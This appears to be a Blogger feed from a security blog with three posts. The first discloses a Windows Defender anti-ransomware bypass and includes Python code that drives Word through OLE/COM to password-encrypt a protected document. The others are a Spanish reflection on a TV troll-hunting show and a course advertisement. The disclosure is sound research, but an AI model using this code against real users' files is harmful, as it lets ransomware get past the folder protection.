tag:blogger.com,1999:blog-53998110565633859352024-03-18T06:42:14.200+01:00Security By DefaultYago Jesushttp://www.blogger.com/profile/16830228750771246202noreply@blogger.comBlogger236913tag:blogger.com,1999:blog-5399811056563385935.post-53230206198666229772018-01-31T10:53:00.000+01:002018-01-31T10:53:00.143+01:00Microsoft Anti Ransomware bypass (not a vulnerability for Microsoft)<div class="separator" style="clear: both; text-align: center;">
<a href="https://1.bp.blogspot.com/-66k8-urSefA/WnD-CIATffI/AAAAAAAADYY/-HUPa-D5NkM5eRdPWYTRTsLbok314yZewCLcBGAs/s1600/microcrap.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" data-original-height="300" data-original-width="380" height="251" src="https://1.bp.blogspot.com/-66k8-urSefA/WnD-CIATffI/AAAAAAAADYY/-HUPa-D5NkM5eRdPWYTRTsLbok314yZewCLcBGAs/s320/microcrap.jpg" width="320" /></a></div>
Since Windows 10 Fall Creators Update, Microsoft added protection for Ransomware in their product ‘Windows Defender’.<br />
<br />
This new feature uses a granular access control to several folders with the purpose to block changes made from untrusted software.<br />
<br />
In the same way than firewalls do with programs that want to make connections (allow/block) Windows Defender uses the same approach to allow/block access to the folders, giving (theoretically) a very good protection to Ransomware attacks.<br />
<br />
By default Microsoft has a pre-defined list with the software that is allowed to make changes in protected folders. Users could add new programs that could made changes.<br />
<br />
More info about Microsoft Anti Ransomware <a href="https://cloudblogs.microsoft.com/microsoftsecure/2018/01/10/a-worthy-upgrade-next-gen-security-on-windows-10-proves-resilient-against-ransomware-outbreaks-in-2017/">here </a><br />
<div style="text-align: center;">
<br /></div>
<h3 style="text-align: center;">
<b>Vulnerability</b></h3>
<br />
By default, Office executables are included in the whitelist so these programs could make changes in protected folders without restrictions.<br />
<br />
<u><b>This access level is granted even if a malicious user uses OLE/COM objects to drive Office executables programmatically</b></u>.<br />
<br />
So a Ransomware developer could adapt their software to use OLE objects to change / delete / encrypt files <u><b>invisibly for the files owner</b></u>.<br />
<br />
Consider this python code:<br />
<br />
<span style="color: #cc0000;">file = open('C:/Users/YJ/Documents/test.docx','w') <br />file.write('Random text.') <br />file.close()</span> <br />
<br />
It tries to open a file located in a protected folder (Documents) to write it<br />
<br />
If you try to use it with Defender ransomware protection activated they raise an error and access is denied because Python.exe is not allowed to make changes in the protected folder<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-7XlVOcBlA0M/WnEVTyi5p7I/AAAAAAAADYs/QZ9oDy8rGc0qtXYp9M_-3SD2oOCr5NTnwCLcBGAs/s1600/defender.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="252" data-original-width="341" height="236" src="https://2.bp.blogspot.com/-7XlVOcBlA0M/WnEVTyi5p7I/AAAAAAAADYs/QZ9oDy8rGc0qtXYp9M_-3SD2oOCr5NTnwCLcBGAs/s320/defender.jpg" width="320" /></a></div>
<br />
But this python code:<br />
<br />
<span style="color: #cc0000;">import win32com.client<br />filetoberansom = r'C:/Users/YJ/Documents/test.docx'<br />word = win32com.client.Dispatch("Word.Application")<br />word.visible = 0<br />doc = word.Documents.Open(filetoberansom)<br />word.Documents.Item(1).Password= '12345678'<br />word.Documents.Item(1).Save()<br />word.Documents.Item(1).Close()<br />word.Application.Quit()</span><br />
<br />
Do the magic !<br />
<br />
<ol>
<li>open the file</li>
<li>encrypt it with password 12345678 (using native Office Document protection) </li>
<li>save it</li>
</ol>
<br />
Why ? Because this code uses <a href="https://msdn.microsoft.com/en-us/vba/word-vba/articles/application-object-word">OLE Word Object</a> to do the work, so in fact is Word who is doing the job :) <br />
<br />
Using this technique an attacker could perform a Ransomware attack bypassing Windows Defender protection activating the native encryption feature of Microsoft Office.<br />
<br />
In a environment with Office+Windows (the most common) Microsoft Anti Ransom is totally useless <br />
<br />
Another possibility is:<br />
<ul>
<li>Using <a href="https://msdn.microsoft.com/es-es/vba/word-vba/articles/selection-copy-method-word">Selection.Copy<span id="goog_614848601"></span><span id="goog_614848602"></span></a> method to copy the content of a protected file</li>
<li>Using <a href="https://msdn.microsoft.com/es-es/vba/word-vba/articles/selection-paste-method-word">Selection.Paste</a> to put the content in another file outside protected folders</li>
<li>Then delete content of the original file or put a Ransomware note </li>
<li>Encrypt the new file as ransomware does</li>
</ul>
Notice that Office could be used to edit PDF files, Image files and others type of files not strictly related to Office documents<br />
<br />
<h3 style="text-align: center;">
Microsoft answer</h3>
I have notified to Microsoft on 23 January and on 31 I got this response<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-uWL8Ml38zgk/WnEeFfxYjYI/AAAAAAAADY4/IIdHMAFsu3EL3XfIehhCY5Q8tjIDSJyiACLcBGAs/s1600/microshame.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="205" data-original-width="1061" height="121" src="https://3.bp.blogspot.com/-uWL8Ml38zgk/WnEeFfxYjYI/AAAAAAAADY4/IIdHMAFsu3EL3XfIehhCY5Q8tjIDSJyiACLcBGAs/s640/microshame.jpg" width="640" /></a></div>
<br />
The most relevant part is:<br />
<br />
<b>We aren't classifying this as a security vulnerability because Defender Exploit Guard isn't meant to be a security boundary</b><br />
<br />
But if you read <a href="http://www.thewindowsclub.com/windows-defender-exploit-guard">this</a> Microsoft defines Exploit guard as '<b>Windows system and application exploit mitigations using Windows Defender Exploit Guard (WDEG)'</b><br />
<b><br /></b>
Also relevant<b><br />
<br />
<b>'Instead, we will address this through an improvement to the Controlled Folder Access functionality' </b><br />
<br />
</b>That really means Microsoft will fix the vulnerability that should be clasified as Mitigation bypass without acknowledgment <b><br />
</b>Yago Jesushttp://www.blogger.com/profile/16830228750771246202noreply@blogger.com0tag:blogger.com,1999:blog-5399811056563385935.post-49908323719654962762017-03-29T13:34:00.000+02:002017-03-29T13:34:26.088+02:00Reflexiones personales sobre #cazadoresdetrolls<br />
<div style="text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://3.bp.blogspot.com/-12i4QBPgMNU/WNuRgLoTFDI/AAAAAAAAETk/Qpt7_KwpcfAcgVpfMGaT85puB87OP-rzgCLcB/s1600/446931-685-256.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="148" src="https://3.bp.blogspot.com/-12i4QBPgMNU/WNuRgLoTFDI/AAAAAAAAETk/Qpt7_KwpcfAcgVpfMGaT85puB87OP-rzgCLcB/s400/446931-685-256.jpg" width="400" /></a></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Sin duda, una de las comidillas de la semana en el sector ha sido el programa <a href="http://www.lasexta.com/programas/cazadores-trolls/avances/pedro-garcia-aguado-llega-muy-pronto-a-lasexta-para-sacar-de-su-anonimato-a-los-trolls-de-internet_2017030958c1e0c80cf264516ca90092.html">"Cazadores de Trolls" que emitió anoche la Sexta</a>.</div>
<br />
<div style="text-align: justify;">
Recuerdo que a finales de 2015, recibí una llamada de parte de una tal Julieta, que representaba a Pedro Aguado y que buscaban una persona que pudiera colaborar con ellos para ayudar ante situaciones de acoso en redes sociales e Internet, como la de anoche, en las que las víctimas denunciaban y no "se les solucionaba el problema", o simplemente no denunciaban y buscaban identificar a los acosadores. Por aquella época me encontraba en Latinoamérica y no pude contestar personalmente, pero el mensaje que se me transmitió fue ese. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
La misma información la recibimos en la cuenta de contacto del blog, a través de <a href="http://www.ancite.es/">ANCITE</a>,... y lo comentamos entre varios colegas del sector, en los que curiosamente todos habíamos sido "elegidos". </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
La forma en la que lo planteaban sonaba francamente complicada. Había cosas que "habría que hacer" que claramente eran ilegales, y nadie quiere meterse en ese tipo de líos, aparte de ir contra la ética personal de cada uno. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Estaba claro que querían un Reality, y por lo que me contaron otros compañeros que sí que devolvieron la llamada, cuando les planteaban la legalidad de las cosas, contestaban que tenían un equipo de abogados que dirían lo que se puede y lo que no se puede hacer.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Finalmente, cuando se publicó que el programa iba a emitirse, reconozco que mi principal curiosidad era el saber quién se habría prestado a ello, y qué habría permitido y qué no. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Cuando ví que finalmente el elegido (o mejor dicho el que les eligió a ellos) era <a href="https://twitter.com/enriqueite">Enrique Serrano</a>, pensé que el contenido estaría bien hecho, puesto que lo que conozco de él es un buen profesional. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Quiero dejar claro varias cosas:</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
</div>
<ul>
<li style="text-align: justify;">Por una parte, la actuación ante el <a href="https://twitter.com/search?q=%23cazadoresluisa&src=typd">caso de Luisa</a>, en el que si quieres ceñirte a la legalidad de lo que puedes y lo que no puedes emitir en público, y sobre todo sin herramientas que puedan tener las FCSE (cuando tienen una orden judicial que así lo autorice) a la hora de solicitar a Twitter direcciones IP de la actividad de un perfil, a las páginas web desde las que se crean los anuncios falsos, etc,... lo que hizo Enrique no es una mala forma de enfocarlo. Realmente, es que no se me ocurren muchas más. Obviamente, es ilegal comprometer el ordenador del troll en base a que abra un enlace o descargue un fichero con algún veneno, por lo que, si el objetivo es publicarlo en TV, esas acciones quedan descartadas de antemano. En este punto, me parece que las acciones de Enrique, y que lo mostrado haya sido o no real, no son un mal camino.</li>
</ul>
<ul>
<li style="text-align: justify;">Sobre la puesta en escena, pues está claro: Es televisión. No "mola" lo mismo que todo esto se haga desde una casa o una oficina, que montar un atrezzo en una furgoneta con papeles por los cristales en los que parezca que estás haciendo algo fraudulento/ilegal/oscuro/oculto... y por qué no decirlo "de hackers". En varias ocasiones han venido periodistas de diferentes cadenas a <a href="https://www.securizame.com/">las oficinas de Securízame</a>, a grabar para algún reportaje, un telediario u otros programas, y una de las cosas que te piden es que tengas algún fondo con algo relacionado. En mi caso suelo poner un top en un sistema Linux o la GUI de Snort y que se vean alertas de colores saliendo, y así todos contentos. </li>
</ul>
<ul>
<li style="text-align: justify;">El montaje: Este sin duda es el mayor de los miedos que tienes cuando te han grabado durante media hora hablando (o dos horas como me pasó el otro día), y el producto final mostrado al televidente, que durará 10 segundos si estamos hablando de un noticiero, o como mucho dos minutos en el caso de un reportaje, en los que quienes llevan a cabo este trabajo, generalmente buscan una frase, una afirmación o algo que hayas dicho que resuma todo lo anterior. El problema es que generalmente, si no se ha visto lo anterior, lo que se emite está fuera de contexto, y quien no se ha pegado todo el tiempo grabando contigo, puede llegar a decir: ¿En serio Lorenzo ha dicho esto? Pero ojo que esto también te puede pasar cuando te llegan preguntas para una entrevista en un medio escrito o de radio. De hecho, en más de una ocasión he aprovechado el blog para <a href="http://www.securitybydefault.com/2016/01/la-imagen-de-los-hackers-en-hollywood.html">publicar la entrevista completa</a> o<a href="http://www.securitybydefault.com/2015/11/hablando-de-canales-encubiertos-en-la.html"> lo que realmente quise haber podido decir en un programa</a>, y que generalmente por limitaciones de tiempo no se ha podido, sobre todo con la finalidad de que quien haya visto un programa o leído una entrevista, no se queden con unas declaraciones que se puedan calificar de poco técnicas o rigurosas, puesto que al estar destinadas a un público generalista y no-técnico, te tienes que esmerar en explicarlo de forma muy sencilla, pero sin perder el rigor de lo que dices. Y creedme: NO es fácil hacerlo. </li>
</ul>
<ul>
<li style="text-align: justify;">Sobre la legalidad de lo que te piden: En general, las peticiones de apariciones en medios que me llegan son para dar una opinión técnica (dentro de lo que se puede) sobre alguna noticia que afecte a la seguridad o privacidad de las personas, como pueden ser filtraciones de credenciales, de datos personales, o que supongan algún riesgo como el IoT, o algo explicativo como puede ser la utilización de TOR. </li>
</ul>
<h2 style="text-align: justify;">
<span style="font-size: large;">Casos reales</span></h2>
<div style="text-align: justify;">
Sin embargo, también me han pedido "cosas raras". En navidades me contactaron de un programa bastante conocido en relación al <a href="https://www.ccn-cert.cni.es/informes/informes-ccn-cert-publicos/1746-ccn-cert-ia-21-16-riesgos-de-uso-de-whatsapp/file.html">informe sobre riesgos de uso de Whatsapp</a> que emitió el CCN-CERT, en los que, a ojos de la periodista con la que hablé, era algo francamente aterrador y peligroso. Tras leerlo detenidamente, ví cosas francamente normales y de sentido común. La no utilización del mismo conectado a redes inalámbricas públicas y no confiables, la abstinencia de comunicación de información confidencial a través del mismo, etc... Punto por punto se lo manifesté a la periodista, y me dijo que si no era capaz de salir en TV diciendo que podía "hackear" una comunicación de cualquier whatsapp, que entonces "ya me llamarían". Obviamente les dije que no, que ahora el cifrado iba extremo a extremo, y que a día de hoy, no tenía conocimiento de que se pudiera hacer. Tiempo después se emitió el programa y quise ver esa parte, en la que salía una persona que decían que mostraría lo inseguro del protocolo porque lo iba a "hackear". Básicamente lo que hacía era comprometer un terminal Android con un spyware y obviamente accedía a las conversaciones de whatsapp, pero si quisiera también a todo el contenido del dispositivo... Normal! Pero, para mí, eso NO es interceptar cualquier whatsapp.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
En otra ocasión me contactaron de un informativo para hablar de la inseguridad de tener cámaras de CCTV cuya administración estuviese expuesta hacia Internet (esta descripción es la que yo doy, pero a mi me dijeron algo menos entendible). Les dije que no había ningún problema en hablar de ello, así como de dar diferentes consejos para mejorar la seguridad de esas acciones, y así concienciar al público evitando en la medida de lo posible que les puedan comprometer. Directamente me dijeron: ¿Entonces, podrás "hackear" las cámaras de una empresa en vivo y que nosotros lo grabemos?. Atónito, mi respuesta fue: "Ehm... lo que me pides no se puede hacer porque es ilegal". "Lo que sí que puedo hacer es mostrar diversas tecnologías de cámaras accesibles desde Internet [pensando en búsquedas en Shodan básicamente], y luego acceder al panel de las de mi empresa, para las que obviamente estoy autorizado, de manera que nadie nos pueda denunciar por ello". A esto me contestó la periodista que si no era posible que hackeara la de otra empresa en vivo, no les interesaba porque se lo habían pedido así. Obviamente, tampoco accedí a ello.</div>
<div style="text-align: justify;">
<br /></div>
<h2 style="text-align: justify;">
Conclusiones</h2>
<div style="text-align: justify;">
No quiero justificar que lo que han publicado en Cazadores de Trolls esté bien o mal, que sea verdad o un fake, ni que le pongan más o menos salsa para que el programa sea atractivo hacia un público generalista. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Respeto la decisión de Enrique a que se haya prestado a salir en el programa, aunque personalmente creo que era un jardín en el que muchas personas de la comunidad vimos, por las formas iniciales y el contenido, que no iba a ser algo que fuese a resultar sencillo y preferimos no prestarnos a ello. </div>
Lorenzo Martínezhttp://www.blogger.com/profile/01754634415587750581noreply@blogger.com1tag:blogger.com,1999:blog-5399811056563385935.post-1891001436150474142017-02-17T06:32:00.000+01:002017-03-20T23:20:29.725+01:00Próximos eventos de formación presencial de seguridad en Securízame<div class="p1">
<div class="separator" style="clear: both; text-align: justify;">
A lo largo de 2017, en <a href="http://www.securizame.com/">Securízame</a>, hemos ido planificando un buen calendario de capacitaciones presenciales en la academia de nuestras instalaciones en Madrid. Así, hemos impartido dos sesiones de <a href="https://www.securizame.com/curso-presencial-dfir-y-analisis-forense-en-gnulinux-10-horas-segunda-edicion/">Gestión y Respuesta ante Incidentes en GNU/Linux</a>, que han aportado un muy buen feedback por parte de los alumnos. </div>
</div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>26, 27 y 28 de Mayo de 2017: DFIR y Análisis Forense en Windows (8 plazas disponibles a la fecha) </b></div>
<div class="separator" style="clear: both; text-align: justify;">
<b><br /></b></div>
<div class="separator" style="clear: both; text-align: justify;">
</div>
<div class="p2">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-DWZVn120GRI/WNBRny75IsI/AAAAAAAAETU/fUwjjVB9Vt8XRhufBbnj1XY-U8i2OcpggCLcB/s1600/Segunda-edicion-Windows.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="265" src="https://2.bp.blogspot.com/-DWZVn120GRI/WNBRny75IsI/AAAAAAAAETU/fUwjjVB9Vt8XRhufBbnj1XY-U8i2OcpggCLcB/s400/Segunda-edicion-Windows.jpg" width="400" /></a></div>
<div class="p1">
</div>
<div class="p2">
<br /></div>
<div class="p1">
<div style="text-align: justify;">
Como complemento al curso de <a href="https://www.securizame.com/curso-presencial-dfir-y-analisis-forense-en-gnulinux-10-horas-segunda-edicion/">Gestión de Respuesta ante Incidentes y Análisis Forense de Linux</a>, surge este otro curso con el mismo objetivo para Windows. Preparar al alumno para que sea capaz de enfrentarse ante un incidente de seguridad, pero en este caso en el que las víctimas sean ordenadores con sistema operativo Windows.</div>
<br />
<div style="text-align: justify;">
En la misma línea, se entregará una imagen para un USB de Incident Response con herramientas para Windows, que utilizamos en Securízame para cuando nos toca hacer este tipo de actuaciones. Asimismo se detallarán los diferentes artifacts y elementos del sistema operativo, susceptibles de contener información valiosa en un incidente o a la hora de realizar un peritaje informático forense en Windows.</div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="p1">
<div style="text-align: justify;">
Los profesores que estaremos encargados de llevar a cabo esta formación somos <a href="http://www.twitter.com/conexioninversa">Pedro Sánchez Cordero</a> y yo (<a href="http://www.twitter.com/lawwait">Lorenzo Martínez Rodríguez</a>), que contamos con amplia experiencia en impartir este curso a diferentes empresas y organizaciones, de forma conjunta, con muy buenos resultados. </div>
</div>
<div class="p2">
<div style="text-align: justify;">
<br /></div>
</div>
<div class="p2">
<div style="text-align: justify;">
Tienes la información y acceso al registro de este entrenamiento en este enlace: <b><a href="https://www.securizame.com/curso-presencial-dfir-analisis-forense-windows-segunda-edicion-peritaje/">DFIR y Análisis Forense en Windows</a>.</b></div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="p1">
<div style="text-align: justify;">
Las plazas, son limitadas a 20 alumnos, y en general un alto porcentaje de ellas suelen ser ocupadas por antiguos alumnos a los que, por su fidelidad, les enviamos la información para acceso al curso 24 horas antes de que el acceso sea público. De hecho, primera edición de este curso, planificada para el 5, 6 y 7 de Mayo, ya se llenó, y es por eso que tuvimos que abrir una nueva.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Aunque te parezca que algunas fechas están muy lejos en el calendario, no te descuides porque se suelen llenar pronto.</div>
</div>
<div class="p2">
<div style="text-align: justify;">
<br /></div>
</div>
<div class="p1">
<div style="text-align: justify;">
En caso que no puedas asistir a nuestras formaciones por no encajarte las fechas o por la distancia a Madrid, tienes alternativas online en <a href="https://cursos.securizame.com/cursos">https://cursos.securizame.com/cursos</a>, que no están sujetas a ningún tipo de agenda, puesto que se trata de cursos pre-grabados. Esto significa que si quieres hacer cualquiera de los cursos que están disponibles en la página, simplemente te registras, efectúas el pago del mismo y te generamos todo el material de forma personalizada. </div>
</div>
<div class="p2">
<div style="text-align: justify;">
<br /></div>
</div>
<div class="p1">
<div style="text-align: justify;">
Si tienes cualquier duda, o requieres más información respecto a alguna de los cursos o el entrenamiento, puedes contactar con nosotros a través del formulario en <a href="https://www.securizame.com/contacto"><b>https://www.securizame.com/contacto</b></a></div>
</div>
<style type="text/css">
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 14.0px Helvetica}
p.p2 {margin: 0.0px 0.0px 0.0px 0.0px; font: 14.0px Helvetica; min-height: 17.0px}
</style>
<br />
<div class="p2">
<div style="text-align: justify;">
<br /></div>
</div>
Lorenzo Martínezhttp://www.blogger.com/profile/01754634415587750581noreply@blogger.com0